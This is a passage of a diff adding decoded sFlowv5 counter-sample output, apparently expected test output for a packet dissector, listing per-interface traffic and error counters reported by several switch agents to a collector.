+	      In octets 3858988244, unicast pkts 13191097, multicast pkts 1215, broadcast pkts 24593, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2559231968, unicast pkts 16126546, multicast pkts 1954848, broadcast pkts 20284429, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007001, type 0, idx 9, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 9, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3386316332, unicast pkts 14360061, multicast pkts 1244, broadcast pkts 16485, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1675798901, unicast pkts 15790519, multicast pkts 1954451, broadcast pkts 20291225, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005309, type 0, idx 10, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 10, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1558898282, unicast pkts 162603641, multicast pkts 1331, broadcast pkts 188407, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3568458580, unicast pkts 162582480, multicast pkts 1953553, broadcast pkts 20106780, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007256, type 0, idx 11, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 11, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 125808339, unicast pkts 691735, multicast pkts 2539, broadcast pkts 22184, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1249750181, unicast pkts 33020559, multicast pkts 2196657, broadcast pkts 48342104, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007178, type 0, idx 12, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 12, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 45949249, unicast pkts 205456, multicast pkts 1743, broadcast pkts 8308, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4019313234, unicast pkts 210496, multicast pkts 2197587, broadcast pkts 48353561, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007155, type 0, idx 13, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 13, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 32111027, unicast pkts 143922, multicast pkts 1193, broadcast pkts 5276, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4050797426, unicast pkts 198665, multicast pkts 2197850, broadcast pkts 48353779, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006875, type 0, idx 14, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 14, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 19576, unicast pkts 19, multicast pkts 5, broadcast pkts 30, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3990801228, unicast pkts 107683, multicast pkts 2199048, broadcast pkts 48364452, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12210, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499684, uptime 12973663, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007174, type 0, idx 15, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 15, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 96700793, unicast pkts 453020, multicast pkts 2568, broadcast pkts 22804, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4042743345, unicast pkts 379591, multicast pkts 2196676, broadcast pkts 48338646, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007085, type 0, idx 16, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 16, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 289703711, unicast pkts 1654844, multicast pkts 37302, broadcast pkts 22784, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4098637095, unicast pkts 801788, multicast pkts 2166613, broadcast pkts 48320960, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007171, type 0, idx 17, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 17, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 45204461, unicast pkts 194096, multicast pkts 1700, broadcast pkts 8788, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4014792810, unicast pkts 198133, multicast pkts 2197652, broadcast pkts 48351768, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007169, type 0, idx 18, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 18, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 95210366, unicast pkts 443561, multicast pkts 2169, broadcast pkts 24997, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4035379503, unicast pkts 332327, multicast pkts 2196767, broadcast pkts 48336027, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007264, type 0, idx 19, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 19, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1379521296, unicast pkts 50010620, multicast pkts 1046, broadcast pkts 48921, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 435976335, unicast pkts 57993600, multicast pkts 2197958, broadcast pkts 48315375, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007257, type 0, idx 20, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 20, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 312017292, unicast pkts 47238597, multicast pkts 1476, broadcast pkts 23377, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3242136708, unicast pkts 57532634, multicast pkts 2198069, broadcast pkts 48339981, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009604, type 0, idx 21, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 21, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4127607826, unicast pkts 29906144, multicast pkts 1233, broadcast pkts 69575, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2091792747, unicast pkts 3024931093, multicast pkts 2198065, broadcast pkts 48294332, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12211, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499685, uptime 12973664, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007104, type 0, idx 22, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 22, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 124432239, unicast pkts 511115, multicast pkts 21969, broadcast pkts 120004, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3066166092, unicast pkts 2595939, multicast pkts 2177143, broadcast pkts 48244891, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008568, type 0, idx 23, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 23, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 142412715, unicast pkts 4067695849, multicast pkts 1301, broadcast pkts 59350, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3335716564, unicast pkts 2083658988, multicast pkts 2198160, broadcast pkts 48304443, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009649, type 0, idx 24, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 24, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1376243919, unicast pkts 42736656, multicast pkts 1161, broadcast pkts 37177, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3949008841, unicast pkts 3045234063, multicast pkts 2197974, broadcast pkts 48326808, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009621, type 0, idx 25, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 25, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1314601210, unicast pkts 4258058414, multicast pkts 1154, broadcast pkts 42425, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2836953588, unicast pkts 2986750860, multicast pkts 2197982, broadcast pkts 48321714, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007193, type 0, idx 26, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 26, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2022052468, unicast pkts 13527038, multicast pkts 933, broadcast pkts 57921, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 620629707, unicast pkts 19469425, multicast pkts 2198358, broadcast pkts 48305869, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007253, type 0, idx 27, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 27, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3262458931, unicast pkts 47684835, multicast pkts 1039, broadcast pkts 5299, discards 0
+	      In errors 3, unknown protos 0
+	      Out octets 3900626480, unicast pkts 54120142, multicast pkts 2198706, broadcast pkts 48356894, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005148, type 0, idx 28, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 28, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 259120552, unicast pkts 1107924, multicast pkts 198, broadcast pkts 3429, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 653805810, unicast pkts 4189777, multicast pkts 2198871, broadcast pkts 48346830, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12212, offset 0, flags [none], proto UDP (17), length 1136)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499686, uptime 12973800, samples 6, length 1108
+	expanded counter sample (4), length 172, seqnum 2007268, type 0, idx 29, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 29, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1267844166, unicast pkts 49781127, multicast pkts 1368, broadcast pkts 40480, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 321243842, unicast pkts 57718818, multicast pkts 2197767, broadcast pkts 48323189, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009633, type 0, idx 30, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 30, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1960827113, unicast pkts 4258067543, multicast pkts 1249, broadcast pkts 60280, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3144893898, unicast pkts 3032873251, multicast pkts 2198370, broadcast pkts 48301571, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2017264, type 0, idx 50, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 50, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4161963595, unicast pkts 3263163886, multicast pkts 1151176, broadcast pkts 287880328, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 296840057, unicast pkts 1684325909, multicast pkts 1126235, broadcast pkts 1405132663, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2017179, type 0, idx 51, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 51, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2214905605, unicast pkts 2466386895, multicast pkts 5276601, broadcast pkts 1225128676, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3025945518, unicast pkts 2183065991, multicast pkts 899419, broadcast pkts 2308600565, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1220659, type 0, idx 52, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 52, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3618900052, unicast pkts 334487763, multicast pkts 651947, broadcast pkts 3712423535, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 697413100, unicast pkts 537120139, multicast pkts 163886, broadcast pkts 4083094099, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 1
+	expanded counter sample (4), length 172, seqnum 1220562, type 0, idx 53, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 53, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 851207797, unicast pkts 325440428, multicast pkts 164171, broadcast pkts 21946044, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1855403849, unicast pkts 517660679, multicast pkts 163669, broadcast pkts 21301, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 23656, offset 0, flags [none], proto UDP (17), length 236)
+    15.184.1.76.40948 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.8.4, agent-id 2, seqnum 204721, uptime 2612972594, samples 1, length 208
+	expanded counter sample (4), length 172, seqnum 87243, type 0, idx 105, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 105, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1063772406, unicast pkts 81120, multicast pkts 174318, broadcast pkts 3847558651, discards 0
+	      In errors 6, unknown protos 0
+	      Out octets 3728106697, unicast pkts 53832149, multicast pkts 218554, broadcast pkts 2160868, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 6, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 4
+IP (tos 0x0, ttl 253, id 27097, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354082, uptime 15617401, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007459, type 0, idx 1, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 1, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 398, unicast pkts 0, multicast pkts 5, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3980656605, unicast pkts 65082, multicast pkts 2199480, broadcast pkts 48372199, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007455, type 0, idx 2, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 2, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1444442513, unicast pkts 69372226, multicast pkts 1207, broadcast pkts 31114, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1845546441, unicast pkts 41823689, multicast pkts 2201740, broadcast pkts 48335077, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007396, type 0, idx 3, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 3, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 200763454, unicast pkts 891785, multicast pkts 982, broadcast pkts 13320, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 3317395016, unicast pkts 5225674, multicast pkts 1949791, broadcast pkts 8711770, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007402, type 0, idx 4, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 4, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 165801154, unicast pkts 662297, multicast pkts 491, broadcast pkts 15752, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2164450538, unicast pkts 1115261, multicast pkts 1949901, broadcast pkts 8709518, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1993492, type 0, idx 5, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 5, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 198991268, unicast pkts 941829, multicast pkts 664, broadcast pkts 33726, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 4052534333, unicast pkts 2591418, multicast pkts 1994963, broadcast pkts 8691000, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 1, frames too long 0, mac receive errors 0, symbol errors 1
+	expanded counter sample (4), length 172, seqnum 2007737, type 0, idx 6, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 6, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 561751280, unicast pkts 575605209, multicast pkts 1250, broadcast pkts 15322854, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 1513353683, unicast pkts 602598577, multicast pkts 1954404, broadcast pkts 4990177, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008403, type 0, idx 7, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 7, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3193665198, unicast pkts 642460773, multicast pkts 1401, broadcast pkts 219741, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2913194238, unicast pkts 390983681, multicast pkts 1955407, broadcast pkts 20090610, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27098, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354083, uptime 15617403, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2008394, type 0, idx 8, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 8, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1089063112, unicast pkts 559652885, multicast pkts 634, broadcast pkts 224712, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3489201031, unicast pkts 383200930, multicast pkts 1955795, broadcast pkts 20085985, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008429, type 0, idx 9, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 9, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2436646808, unicast pkts 568003495, multicast pkts 906, broadcast pkts 16545, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1717246279, unicast pkts 389888234, multicast pkts 1955669, broadcast pkts 20294132, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
